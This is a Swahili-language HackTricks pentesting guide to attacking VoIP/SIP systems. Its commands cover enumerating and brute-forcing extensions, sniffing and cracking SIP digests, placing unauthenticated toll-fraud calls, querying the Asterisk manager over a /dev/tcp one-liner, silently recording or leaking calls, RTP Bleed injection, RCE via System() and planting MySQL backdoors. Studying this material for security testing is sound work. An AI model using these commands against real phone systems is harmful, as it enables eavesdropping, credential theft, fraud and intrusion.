hacktricks/network-services-pentesting/pentesting-voip
2024-06-03 13:34:08 +00:00
..
basic-voip-protocols Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 22:47:30 +00:00
README.md Translated ['network-services-pentesting/pentesting-voip/README.md'] to 2024-06-03 13:34:08 +00:00

Kupima Usalama wa VoIP

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Taarifa Msingi za VoIP

Ili kuanza kujifunza kuhusu jinsi VoIP inavyofanya kazi angalia:

{% content-ref url="basic-voip-protocols/" %} basic-voip-protocols {% endcontent-ref %}

Request name	Description								RFC references
------------------------------------------------------------------------------------------------------
REGISTER	Register a SIP user.							RFC 3261
INVITE		Initiate a dialog for establishing a call. 				RFC 3261
ACK		Confirm that an entity has received.					RFC 3261
BYE		Signal termination of a dialog and end a call.				RFC 3261
CANCEL		Cancel any pending request.						RFC 3261
UPDATE		Modify the state of a session without changing the state of the dialog.	RFC 3311
REFER		Ask recipient to issue a request for the purpose of call transfer.	RFC 3515
PRACK		Provisional acknowledgement.						RFC 3262
SUBSCRIBE	Initiates a subscription for notification of events from a notifier.	RFC 6665
NOTIFY		Inform a subscriber of notifications of a new event.			RFC 6665
PUBLISH		Publish an event to a notification server.				RFC 3903
MESSAGE		Deliver a text message.	Used in instant messaging applications.		RFC 3428
INFO		Send mid-session information that does not modify the session state.	RFC 6086
OPTIONS		Query the capabilities of an endpoint					RFC 3261

Msimbo wa Majibu

1xx—Majibu ya Muda

100 Trying
180 Ringing
181 Call is Being Forwarded
182 Queued
183 Session Progress
199 Early Dialog Terminated

2xx—Majibu Mafanikio

200 OK
202 Accepted
204 No Notification

3xx—Majibu ya Kuelekeza tena

300 Multiple Choices
301 Moved Permanently
302 Moved Temporarily
305 Use Proxy
380 Alternative Service

4xx—Majibu ya Kosa la Mteja

400 Bad Request
401 Unauthorized
402 Payment Required
403 Forbidden
404 Not Found
405 Method Not Allowed
406 Not Acceptable
407 Proxy Authentication Required
408 Request Timeout
409 Conflict
410 Gone
411 Length Required
412 Conditional Request Failed
413 Request Entity Too Large
414 Request-URI Too Long
415 Unsupported Media Type
416 Unsupported URI Scheme
417 Unknown Resource-Priority
420 Bad Extension
421 Extension Required
422 Session Interval Too Small
423 Interval Too Brief
424 Bad Location Information
425 Bad Alert Message
428 Use Identity Header
429 Provide Referrer Identity
430 Flow Failed
433 Anonymity Disallowed
436 Bad Identity-Info
437 Unsupported Certificate
438 Invalid Identity Header
439 First Hop Lacks Outbound Support
440 Max-Breadth Exceeded
469 Bad Info Package
470 Consent Needed
480 Temporarily Unavailable
481 Call/Transaction Does Not Exist
482 Loop Detected
483 Too Many Hops
484 Address Incomplete
485 Ambiguous
486 Busy Here
487 Request Terminated
488 Not Acceptable Here
489 Bad Event
491 Request Pending
493 Undecipherable
494 Security Agreement Required

5xx—Majibu ya Kushindwa kwa Seva

500 Internal Server Error
501 Not Implemented
502 Bad Gateway
503 Service Unavailable
504 Server Time-out
505 Version Not Supported
513 Message Too Large
555 Push Notification Service Not Supported
580 Precondition Failure

6xx—Majibu ya Kukosa Kote Duniani

600 Busy Everywhere
603 Decline
604 Does Not Exist Anywhere
606 Not Acceptable
607 Unwanted
608 Rejected

Uthibitishaji wa VoIP

Nambari za Simu

Moja ya hatua za kwanza ambayo Timu Nyekundu inaweza kufanya ni kutafuta nambari za simu zinazopatikana kuwasiliana na kampuni kwa kutumia zana za OSINT, Utafutaji wa Google au kuchimba kurasa za wavuti.

Marakani unapokuwa na nambari za simu unaweza kutumia huduma za mtandaoni kutambua mwendeshaji:

Kujua ikiwa mwendeshaji anatoa huduma za VoIP unaweza kutambua ikiwa kampuni inatumia VoIP... Zaidi ya hayo, inawezekana kwamba kampuni haijachukua huduma za VoIP lakini inatumia kadi za PSTN kuunganisha PBX yake ya VoIP kwenye mtandao wa simu za jadi.

Vitu kama majibu ya moja kwa moja ya muziki mara nyingi huonyesha kwamba VoIP inatumika.

Google Dorks

# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org

# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"

# Cisco phones
inurl:"NetworkConfiguration" cisco

# Linksys phones
intitle:"Sipura SPA Configuration"

# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm

# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com

# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"

# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"

Taarifa za OSINT

Uchunguzi mwingine wowote wa OSINT ambao husaidia kutambua programu ya VoIP inayotumiwa utakuwa wa manufaa kwa Timu Nyekundu.

Uchambuzi wa Mtandao

  • nmap inaweza skanning huduma za UDP, lakini kutokana na idadi kubwa ya huduma za UDP zinazoskaniwa, ni polepole sana na inaweza isiwe sahihi sana na aina hii ya huduma.
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
  • svmap kutoka kwa SIPVicious (sudo apt install sipvicious): Itapata huduma za SIP kwenye mtandao ulioonyeshwa.
  • svmap ni rahisi kuzuia kwa sababu inatumia User-Agent friendly-scanner, lakini unaweza kuhariri nambari kutoka /usr/share/sipvicious/sipvicious na kuibadilisha.
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
  • Uchunguzi wa SIPPTS kutoka sippts: Uchunguzi wa SIPPTS ni skana ya haraka sana kwa huduma za SIP kupitia UDP, TCP au TLS. Inatumia nyuzi nyingi na inaweza kuchunguza anuwai kubwa ya mitandao. Inaruhusu kuonyesha kirahisi anuwai ya bandari, kuchunguza TCP na UDP, kutumia njia nyingine (kwa chaguo-msingi itatumia OPTIONS) na kutaja User-Agent tofauti (na zaidi).
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]

[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
  • metasploit:
auxiliary/scanner/sip/options_tcp normal  No     SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options     normal  No     SIP Endpoint Scanner (UDP)

Uchambuzi wa Ziada wa Mtandao

PBX inaweza pia kuwa inaonyesha huduma zingine za mtandao kama vile:

  • 69/UDP (TFTP): Visasisho vya firmware
  • 80 (HTTP) / 443 (HTTPS): Kusimamia kifaa kutoka kwenye wavuti
  • 389 (LDAP): Mbadala wa kuhifadhi habari za watumiaji
  • 3306 (MySQL): Hifadhidata ya MySQL
  • 5038 (Meneja): Inaruhusu kutumia Asterisk kutoka kwenye majukwaa mengine
  • 5222 (XMPP): Ujumbe kutumia Jabber
  • 5432 (PostgreSQL): Hifadhidata ya PostgreSQL
  • Na nyingine...

Uchambuzi wa Njia

Inawezekana kupata njia zipi zinapatikana kutumia kwenye PBX kwa kutumia SIPPTS enumerate kutoka kwenye sippts

sippts enumerate -i 10.10.0.10

Kuchambua majibu ya seva

Ni muhimu sana kuchambua vichwa vinavyotumwa na seva kwetu, kulingana na aina ya ujumbe na vichwa tunavyotuma. Kwa kutumia SIPPTS send kutoka kwa sippts tunaweza kutuma ujumbe uliobinafsishwa, kubadilisha vichwa vyote, na kuchambua majibu.

sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp

Pia niwezekana kupata data ikiwa server inatumia websockets. Kwa kutumia SIPPTS wssend kutoka sippts tunaweza kutuma ujumbe wa WS uliobinafsishwa.

sippts wssend -i 10.10.0.10 -r 443 -path /ws

Uchambuzi wa Upanuzi

Upanuzi katika mfumo wa PBX (Private Branch Exchange) unahusu vitambulisho vya ndani vilivyotengwa kwa simu za kibinafsi, vifaa, au watumiaji binafsi ndani ya shirika au biashara. Upanuzi hufanya iwezekane kuongoza simu ndani ya shirika kwa ufanisi, bila haja ya namba za simu za nje kwa kila mtumiaji au kifaa.

  • svwar kutoka kwa SIPVicious (sudo apt install sipvicious): svwar ni skana ya laini ya upanuzi wa PBX ya SIP ya bure. Kimsingi inafanya kazi kama wardialers za jadi kwa kudhani safu ya upanuzi au orodha iliyotolewa ya upanuzi.
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
  • SIPPTS exten kutoka sippts: SIPPTS exten inatambua nyongeza kwenye seva ya SIP. Sipexten inaweza kuchunguza mtandao mkubwa na anuwai za bandari.
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
  • metasploit: Unaweza pia kutambua extensions/usernames na metasploit:
auxiliary/scanner/sip/enumerator_tcp  normal  No     SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator      normal  No     SIP Username Enumerator (UDP)
  • enumiax (apt install enumiax): enumIAX ni programu inayotumika kubainisha majina ya watumiaji kwa nguvu kwenye itifaki ya Inter Asterisk Exchange. enumIAX inaweza kutumika katika njia mbili tofauti; Kudhanisha Majina ya Watumiaji kwa Ufuatano au Shambulio la Kamusi.
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10

Mashambulizi ya VoIP

Kuvunja Nenosiri - mtandaoni

Baada ya kugundua PBX na baadhi ya extensions/usernames, Timu Nyekundu inaweza kujaribu uthibitisho kupitia njia ya REGISTER kwa kutumia orodha ya kawaida ya nywila kuvunja uthibitisho.

{% hint style="danger" %} Tafadhali kumbuka kwamba username inaweza kuwa sawa na extension, lakini mazoea haya yanaweza kutofautiana kulingana na mfumo wa PBX, mipangilio yake, na mapendeleo ya shirika...

Ikiwa jina la mtumiaji si sawa na extension, utahitaji kutambua jina la mtumiaji ili kulivunja kwa nguvu. {% endhint %}

  • svcrack kutoka SIPVicious (sudo apt install sipvicious): SVCrack inakuwezesha kuvunja neno la siri kwa jina la mtumiaji/extension maalum kwenye PBX.
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
  • SIPPTS rcrack kutoka sippts: SIPPTS rcrack ni programu ya kuvunja nywila kwa huduma za SIP kwa njia ya mbali. Rcrack inaweza kujaribu nywila kwa watumiaji kadhaa kwenye IPs tofauti na mipangilio ya bandari.
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt

Udukuzi wa VoIP

Ikiwa utapata vifaa vya VoIP ndani ya mtandao wa Wifi wa wazi, unaweza kudukua habari zote. Zaidi ya hayo, ikiwa uko ndani ya mtandao zaidi uliofungwa (ukiunganishwa kupitia Ethernet au Wifi iliyolindwa) unaweza kutekeleza mashambulizi ya MitM kama ARPspoofing kati ya PBX na lango ili kudukua habari.

Miongoni mwa habari za mtandao, unaweza kupata vyeti vya wavuti kusimamia vifaa, extensions za mtumiaji, jina la mtumiaji, anwani za IP, hata maneno ya siri yaliyohashwa na pakiti za RTP ambazo unaweza kuzalisha ili kusikiliza mazungumzo, na zaidi.

Kupata habari hii unaweza kutumia zana kama Wireshark, tcpdump... lakini zana iliyoundwa maalum kwa ajili ya kudukua mazungumzo ya VoIP ni ucsniff.

{% hint style="danger" %} Tafadhali kumbuka kwamba ikiwa TLS inatumika katika mawasiliano ya SIP hutaweza kuona mawasiliano ya SIP kwa wazi.
Hali hiyo itatokea pia ikiwa SRTP na ZRTP inatumika, pakiti za RTP hazitakuwa katika maandishi wazi. {% endhint %}

SIP credentials (Password Brute-Force - offline)

Angalia mfano huu kuelewa vizuri mawasiliano ya kusajili SIP ili kujifunza jinsi vyeti vinavyotumwa.

  • sipdump & sipcrack, sehemu ya sipcrack (apt-get install sipcrack): Zana hizi zinaweza kutoa kutoka kwa pcap uthibitishaji wa kumeng'enya ndani ya itifaki ya SIP na kuvunja nguvu.
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
  • SIPPTS dump kutoka sippts: SIPPTS dump inaweza kutoa uthibitisho wa kuchimba kutoka kwa faili ya pcap.
sippts dump -f capture.pcap -o data.txt
  • SIPPTS dcrack kutoka sippts: SIPPTS dcrack ni chombo cha kuvunja uthibitisho wa kumeng'enya uliopatikana na dump ya SIPPTS.
sippts dcrack -f data.txt -w wordlist/rockyou.txt
  • SIPPTS tshark kutoka sippts: SIPPTS tshark inachambua data ya itifaki ya SIP kutoka kwa faili ya PCAP.
sippts tshark -f capture.pcap [-filter auth]

Msimbo wa DTMF

Si tu vibali vya SIP vinaweza kupatikana kwenye mtandao wa trafiki, pia inawezekana kupata misimbo ya DTMF ambayo hutumiwa kwa mfano kufikia ujumbe wa sauti.
Inawezekana kutuma misimbo hii katika ujumbe wa SIP wa INFO, kwa sauti au ndani ya pakiti za RTP. Ikiwa misimbo iko ndani ya pakiti za RTP, unaweza kukata sehemu hiyo ya mazungumzo na kutumia zana ya multimo kuzitoa:

multimon -a DTMF -t wac pin.wav

Simu za Bure / Mipangilio Isiyosahihishwa ya Mawasiliano ya Asterisks

Katika Asterisk ni sawa kuruhusu uunganishaji kutoka kwa anwani ya IP maalum au kutoka kwa anwani yoyote ya IP:

host=10.10.10.10
host=dynamic

Ikiwa anwani ya IP imebainishwa, mwenyeji hatahitaji kutuma maombi ya KUJIANDIKISHA mara kwa mara (katika pakiti ya KUJIANDIKISHA inatumwa wakati wa kuishi, kawaida dakika 30, ambayo inamaanisha kuwa katika hali nyingine simu itahitaji KUJIANDIKISHA kila baada ya dakika 30). Hata hivyo, itahitaji kuwa na bandari zilizofunguliwa kuruhusu mawasiliano kutoka kwa seva ya VoIP kupokea simu.

Kutambua watumiaji wanaweza kutambuliwa kama:

  • type=user: Mtumiaji anaweza kupokea simu kama mtumiaji.
  • type=friend: Inawezekana kufanya simu kama mwenzake na kuzipokea kama mtumiaji (inatumika na nyongeza)
  • type=peer: Inawezekana kutuma na kupokea simu kama mwenzake (SIP-trunks)

Pia ni rahisi kuanzisha imani na kipengele cha usio salama:

  • insecure=port: Inaruhusu mawasiliano ya mwenzake kuthibitishwa na IP.
  • insecure=invite: Haitaji uthibitisho kwa ujumbe wa KARIBU
  • insecure=port,invite: Zote mbili

{% hint style="warning" %} Wakati type=friend inapotumiwa, thamani ya kipengele cha mwenyeji haitatumika, hivyo ikiwa msimamizi anapangilia vibaya SIP-trunk kwa kutumia thamani hiyo, mtu yeyote ataweza kuunganisha.

Kwa mfano, usanidi huu ungekuwa na mapungufu:
host=10.10.10.10
insecure=port,invite
type=friend {% endhint %}

Simu za Bure / Kutofautisha Muktadha wa Asterisks

Katika Asterisk muktadha ni chombo au sehemu iliyoitwa katika mpango wa simu ambayo inagawa pamoja nyongeza zinazohusiana, hatua, na sheria. Mpango wa simu ni sehemu kuu ya mfumo wa Asterisk, kwani inadefini jinsi simu zinazoingia na kutoka zinavyoshughulikiwa na kuelekezwa. Muktadha hutumiwa kuandaa mpango wa simu, kusimamia udhibiti wa ufikiaji, na kutoa utengano kati ya sehemu tofauti za mfumo.

Kila muktadha unatambulishwa katika faili ya usanidi, kawaida katika faili ya extensions.conf. Muktadha unatambuliwa na mabano mraba, na jina la muktadha limefungwa ndani yake. Kwa mfano:

csharpCopy code[my_context]

Ndani ya muktadha huu, unatambua nyongeza (mifano ya nambari zinazopigwa) na kuziunganisha na mfululizo wa hatua au programu. Hatua hizi huzingatia jinsi simu inavyosindika. Kwa mfano:

[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()

Hii mfano unaonyesha muktadha rahisi unaoitwa "my_context" na upanuzi "100". Mtu akichagua 100, simu itajibiwa, ujumbe wa karibu utapigwa, na kisha simu itakatishwa.

Huu ni muktadha mwingine unaoruhusu kupiga simu kwa nambari nyingine yoyote:

[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})

Ikiwa msimamizi anatamka muktadha wa chaguo-msingi kama:

[default]
include => my_context
include => external

{% hint style="warning" %} Mtu yeyote ataweza kutumia server kupiga simu kwa nambari yoyote nyingine (na msimamizi wa server atalipia simu). {% endhint %}

{% hint style="danger" %} Zaidi ya hayo, kwa chaguo-msingi faili ya sip.conf ina allowguest=true, basi mtu yeyote mshambuliaji bila uthibitisho wowote ataweza kupiga simu kwa nambari yoyote. {% endhint %}

  • SIPPTS mwaliko kutoka sippts: Mwaliko wa SIPPTS unachunguza ikiwa server ya PBX inaturuhusu kupiga simu bila uthibitisho. Ikiwa server ya SIP ina mazingira yasiyo sahihi, itaturuhusu kupiga simu kwa nambari za nje. Pia inaweza kuturuhusu kuhamisha simu kwenda nambari ya pili ya nje.

Kwa mfano, ikiwa server yako ya Asterisk ina mazingira mabaya ya muktadha, unaweza kukubali ombi la KARIBU bila idhini. Katika kesi hii, mshambuliaji anaweza kupiga simu bila kujua mtumiaji/nywila yoyote.

# Trying to make a call to the number 555555555 (without auth) with source number 200.
sippts invite -i  10.10.0.10 -fu 200 -tu 555555555 -v

# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444

{% endcode %}

Simu za bure / IVRS iliyowekwa vibaya

IVRS inasimama kwa Mfumo wa Majibu ya Sauti ya Kuingiliana, teknolojia ya simu ambayo inaruhusu watumiaji kuingiliana na mfumo ulioautomatishwa kupitia sauti au pembejeo za tone la kugusa. IVRS hutumika kujenga mifumo ya kushughulikia simu kiotomatiki ambayo hutoa anuwai ya utendaji, kama vile kutoa habari, kuongoza simu, na kukamata pembejeo za mtumiaji.

IVRS katika mifumo ya VoIP kwa kawaida inajumuisha:

  1. Mwongozo wa sauti: Ujumbe wa sauti uliorekodiwa mapema ambao huongoza watumiaji kupitia chaguzi za menyu ya IVR na maagizo.
  2. DTMF (Dual-Tone Multi-Frequency) ishara: Pembejeo za tone la kugusa zinazozalishwa kwa kubonyeza vitufe kwenye simu, ambazo hutumiwa kusafiri kupitia menyu za IVR na kutoa pembejeo.
  3. Uelekezaji wa simu: Kuongoza simu kwenye marudio sahihi, kama vile idara maalum, mawakala, au nyongeza kulingana na pembejeo ya mtumiaji.
  4. Ukamataji wa pembejeo za mtumiaji: Kukusanya habari kutoka kwa wapigaji simu, kama vile nambari za akaunti, vitambulisho vya kesi, au data nyingine inayofaa.
  5. Ushirikiano na mifumo ya nje: Kuunganisha mfumo wa IVR na mabadiliko au mifumo mingine ya programu ili kupata au kusasisha habari, kutekeleza hatua, au kuzindua matukio.

Katika mfumo wa Asterisk VoIP, unaweza kuunda IVR ukitumia mpango wa simu (faili ya extensions.conf) na programu mbalimbali kama vile Background(), Playback(), Read(), na zingine. Programu hizi zinasaidia kucheza mwongozo wa sauti, kukamata pembejeo za mtumiaji, na kudhibiti mtiririko wa simu.

Mfano wa usanidi ulio hatarini

exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})

Mfano uliopita ni pale ambapo mtumiaji anaulizwa bonyeza 1 kupiga simu idara fulani, 2 kupiga simu nyingine, au upanuzi kamili ikiwa anaujua. Udhaifu upo katika ukweli kwamba urefu wa upanuzi hauangaliwi, hivyo mtumiaji anaweza kuingiza namba kamili ndani ya muda wa sekunde 5 na itapigwa simu.

Uingizaji wa Upanuzi

Kutumia upanuzi kama:

exten => _X.,1,Dial(SIP/${EXTEN})

Mahali ${EXTEN} ni extension itakayopigwa, wakati ext 101 inapoingizwa hii ndio itakayotokea:

exten => 101,1,Dial(SIP/101)

Hata hivyo, ikiwa ${EXTEN} inaruhusu kuingiza zaidi ya nambari (kama katika toleo za zamani za Asterisk), mkaidi anaweza kuingiza 101&SIP123123123 ili kupiga simu nambari ya simu 123123123. Na hii ndio matokeo yake:

exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)

Kwa hivyo, wito kwa upanuzi 101 na 123123123 utatumwa na ni upanuzi wa kwanza kupata simu ndio utakayoundwa... lakini ikiwa muhusika anatumia upanuzi unaopuuza mechi yoyote inayofanyika lakini haipo, anaweza kuingiza simu kwa namba inayotakiwa tu.

Udhaifu wa SIPDigestLeak

Udhaifu wa SIP Digest Leak ni udhaifu unaowaathiri idadi kubwa ya Simu za SIP, ikiwa ni pamoja na Simu za IP za vifaa na programu pamoja na viunganishi vya simu (VoIP kwenda kwa analogi). Udhaifu huu unaruhusu vuja ya jibu la uthibitisho wa Digest, ambalo hujengwa kutoka kwa nenosiri. Shambulio la nenosiri nje ya mtandao linawezekana na linaweza kupata nywila nyingi kulingana na jibu la changamoto.

**Skenario ya Udhaifu kutoka hapa**:

  1. Simu ya IP (muathirika) inasikiliza kwenye bandari yoyote (kwa mfano: 5060), ikikubali simu
  2. Mshambuliaji anatuma mwaliko kwa Simu ya IP
  3. Simu ya muathirika inaanza kuita na mtu anapokea na kuweka chini (kwa sababu hakuna anayejibu simu upande mwingine)
  4. Wakati simu inawekwa chini, simu ya muathirika inatuma BYE kwa mshambuliaji
  5. Mshambuliaji anatoa jibu la 407 linalo omba uthibitisho na kutoa changamoto ya uthibitisho
  6. Simu ya muathirika inatoa jibu kwa changamoto ya uthibitisho katika BYE ya pili
  7. Mshambuliaji anaweza kisha kuanzisha shambulio la nguvu kwenye jibu la changamoto kwenye kompyuta yake ya ndani (au mtandao uliosambazwa n.k.) na kudhanua nenosiri
  • SIPPTS leak kutoka sippts: SipPTS leak inatumia udhaifu wa SIP Digest Leak unaowaathiri idadi kubwa ya Simu za SIP. Matokeo yanaweza kuokolewa kwa muundo wa SipCrack kwa kuita nguvu kwa kutumia dcrack ya SIPPTS au zana ya SipCrack.
sippts leak -i 10.10.0.10

[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100

[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok

Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5

Bonyeza2PigaSimu

Bonyeza2PigaSimu inaruhusu mtumiaji wa wavuti (ambaye kwa mfano anaweza kuwa anavutiwa na bidhaa) kuweka nambari yake ya simu ili apigiwe simu. Kisha tangazo litapigwa simu, na atakapopokea simu mtumiaji atapigiwa simu na kuunganishwa na wakala.

[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
  • Wasifu wa awali unaruhusu KILA ANUANI YA IP kuunganisha (ikiwa nywila inajulikana).
  • Kwa kuandaa simu, kama ilivyotajwa awali, ruhusa ya kusoma sio lazima na kutuma tu katika kuandaa inahitajika.

Kwa ruhusa hizo, mtu yeyote mwenye anwani ya IP anayejua nywila anaweza kuunganisha na kutoa habari nyingi sana, kama:

# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3

{% endcode %}

Maelezo zaidi au hatua zaidi zinaweza kuhitajika.

Kusikiliza kwa Siri

Katika Asterisk ni rahisi kutumia amri ChanSpy ikionyesha extension(s) za kufuatilia (au zote) kusikiliza mazungumzo yanayoendelea. Amri hii inahitaji kupewa extension.

Kwa mfano, exten => 333,1,ChanSpy('all',qb) inaonyesha kwamba ukimpigia simu extension 333, itakuwa inachunguza zote extensions, anza kusikiliza wakati mazungumzo mapya yanapoanza (b) kwa kimya (q) kwani hatutaki kuingilia. Unaweza kwenda kutoka mazungumzo moja hadi mwingine kwa kubonyeza *, au kwa kuchagua namba ya extension.

Pia ni rahisi kutumia ExtenSpy kufuatilia extension moja tu.

Badala ya kusikiliza mazungumzo, ni rahisi kuyarekodi kwenye faili kwa kutumia extension kama:

[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})

{% endcode %}

Simu zitahifadhiwa katika /tmp.

Unaweza hata kufanya Asterisk itekeleze script ambayo itafichua simu wakati inafungwa.

exten => h,1,System(/tmp/leak_conv.sh &)

Hatari ya RTCPBleed

RTCPBleed ni suala kubwa la usalama linaloathiri seva za VoIP zinazotegemea Asterisk (ilichapishwa mwaka 2017). Udhaifu huu huruhusu trafiki ya RTP (Itifaki ya Wakati Halisi), ambayo inabeba mazungumzo ya VoIP, kuwa kukamatwa na kuelekezwa na yeyote kwenye Mtandao. Hii hutokea kwa sababu trafiki ya RTP inapita kwenye uwakala wa NAT (Unganisho wa Anwani za Mtandao) bila kuhitaji uthibitisho.

Proksi za RTP hujaribu kutatua vikwazo vya NAT vinavyoathiri mifumo ya RTC kwa kusambaza mizunguko ya RTP kati ya pande mbili au zaidi. Wakati NAT iko mahali, programu ya proksi ya RTP mara nyingi haiwezi kutegemea habari ya IP na bandari ya RTP iliyopatikana kupitia ishara (k.m. SIP). Kwa hivyo, proksi nyingi za RTP zimeanzisha mbinu ambapo habari ya IP na bandari hutambuliwa moja kwa moja. Hii mara nyingi hufanywa kwa kuchunguza trafiki ya RTP inayoingia na kuorodhesha IP na bandari ya chanzo kwa trafiki yoyote ya RTP inayoingia kama ile inayopaswa kujibiwa. Mbinu hii, inayoweza kuitwa "mode ya kujifunza", haitumii aina yoyote ya uthibitisho. Kwa hivyo wahalifu wanaweza kutuma trafiki ya RTP kwa proksi ya RTP na kupokea trafiki ya RTP iliyosambazwa inayolengwa kwa mpigaji simu au mpokeaji wa mzunguko wa RTP unaendelea. Tunaiita udhaifu huu RTP Bleed kwa sababu inaruhusu wahalifu kupokea mizunguko ya media ya RTP iliyokusudiwa kutumwa kwa watumiaji halali.

Tabia nyingine ya kuvutia ya proksi za RTP na safu za RTP ni kwamba mara nyingine, hata kama sio hatari kwa RTP Bleed, zitakubali, kusambaza na/au kusindika pakiti za RTP kutoka kwa chanzo chochote. Kwa hivyo wahalifu wanaweza kutuma pakiti za RTP ambazo zinaweza kuwaruhusu kuingiza media yao badala ya ile halali. Tunaiita shambulio hili RTP injection kwa sababu inaruhusu kuingiza pakiti za RTP zisizo halali kwenye mizunguko ya RTP iliyopo. Udhaifu huu unaweza kupatikana kwenye proksi za RTP na vituo vya mwisho.

Asterisk na FreePBX kwa kawaida hutumia mpangilio wa NAT=yes, ambao unawezesha trafiki ya RTP kupita bila uthibitisho, ikisababisha kutokuwepo kwa sauti au sauti moja kwenye simu.

Kwa habari zaidi angalia https://www.rtpbleed.com/

  • SIPPTS rtpbleed kutoka sippts: SIPPTS rtpbleed inagundua udhaifu wa RTP Bleed kwa kutuma mizunguko ya RTP.
sippts rtpbleed -i 10.10.0.10
  • SIPPTS rtcpbleed kutoka sippts: SIPPTS rtcpbleed inagundua udhaifu wa RTP Bleed kwa kutuma mafuriko ya RTCP.
sippts rtcpbleed -i 10.10.0.10
  • SIPPTS rtpbleedflood kutoka sippts: SIPPTS rtpbleedflood inatumia udhaifu wa RTP Bleed kutuma mito ya RTP.
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
  • SIPPTS rtpbleedinject kutoka sippts: SIPPTS rtpbleedinject inatumia udhaifu wa RTP Bleed kwa kuingiza faili ya sauti (muundo wa WAV).
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav

RCE

Katika Asterisk kwa namna fulani unaweza kuweza kuongeza sheria za ugani na kuzipakia tena (kwa mfano kwa kudukua seva dhaifu ya msimamizi wa wavuti), ni rahisi kupata RCE kwa kutumia amri ya System.

same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)

Kuna amri inayoitwa Shell inayoweza kutumika badala ya System kutekeleza amri za mfumo ikiwa ni lazima.

{% hint style="warning" %} Ikiwa server inazuia matumizi ya herufi fulani katika amri ya System (kama katika Elastix), hakikisha server wa wavuti unaruhusu kuunda faili kwa njia fulani ndani ya mfumo (kama katika Elastix au trixbox), na itumie kuunda script ya mlango wa nyuma na kisha tumia System kutekeleza script hiyo. {% endhint %}

Faili za Mitaa Zinazovutia na Ruhusa

  • sip.conf -> Ina nywila za watumiaji wa SIP.
  • Ikiwa server ya Asterisk inaendeshwa kama root, unaweza kudhoofisha root
  • mtumiaji wa mizizi wa mysql huenda hakuwa na nywila yoyote.
  • hii inaweza kutumika kuunda mtumiaji mpya wa mysql kama mlango wa nyuma
  • FreePBX
  • amportal.conf -> Ina nywila ya msimamizi wa kibodi ya wavuti (FreePBX)
  • FreePBX.conf -> Ina nywila ya mtumiaji FreePBXuser anayetumika kupata database
  • hii inaweza kutumika kuunda mtumiaji mpya wa mysql kama mlango wa nyuma
  • Elastix
